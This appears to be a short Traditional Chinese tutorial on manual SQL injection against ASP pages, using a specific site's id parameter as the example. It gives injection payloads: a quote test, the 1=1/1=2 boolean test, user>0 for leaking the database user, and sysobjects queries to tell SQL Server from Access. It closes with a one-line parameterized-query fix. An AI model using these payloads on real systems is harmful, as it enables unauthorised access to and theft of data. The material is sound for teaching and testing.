應用程序未對用戶輸入進行合法性校驗,攻擊者通過構造惡意輸入,改變原本 SQL 語句邏輯,竊取、篡改、刪除數據,甚至獲取服務器控制權。特點:走正常 Web 端口(80/443),防火牆難攔截,日志中僅顯示普通請求。
工具 → Internet 選項 → 高級 → 取消勾選「顯示友好 HTTP 錯誤信息」,否則注入錯誤均返回通用 500,無法獲取詳細錯誤回顯信息。
正常鏈接:https://www.19cn.com/showdetail.asp?id=49
後端 SQL:SELECT * FROM news WHERE id = 49
附加單引號:...id=49'
報錯:Microsoft JET Database Engine 錯誤 '80040e14' 字符串語法錯誤 在查詢表達式 'ID=49'' 中
洩露信息: Access + JET 引擎、無輸入校驗、表含 ID 字段。
| 請求 | 預期結果(可注入) | 不可注入表現 |
|---|---|---|
id=49 | 正常顯示 | 正常顯示 |
id=49 and 1=1 | 正常顯示,內容同 ① | 程序報錯/類型轉換錯誤 |
id=49 and 1=2 | 空結果/BOF-EOF/提示無記錄 | 程序報錯/類型轉換錯誤 |
原理: AND 1=1 恆真,不影響邏輯;AND 1=2 恆假,導致無行返回。單引號測試易被 cint() 等過濾繞過,1=1/1=2 繞過大多數簡單過濾。
id=49 and user>0
-- SQL Server: user 為 nvarchar,與 int 比較觸發轉換錯誤,回顯用戶名(如 dbo)
-- 若為 sa 登錄,回顯 dbo 而非 sa
-- SQL Server 可讀 sysobjects
id=49 and (select count(*) from sysobjects)>0 -- 正常 → SQL Server
id=49 and (select count(*) from msysobjects)>0 -- 報錯/異常 → 非 Access 或無權限
-- Access 反之
cmd.Parameters.Add("@id", id),徹底分離代碼與數據。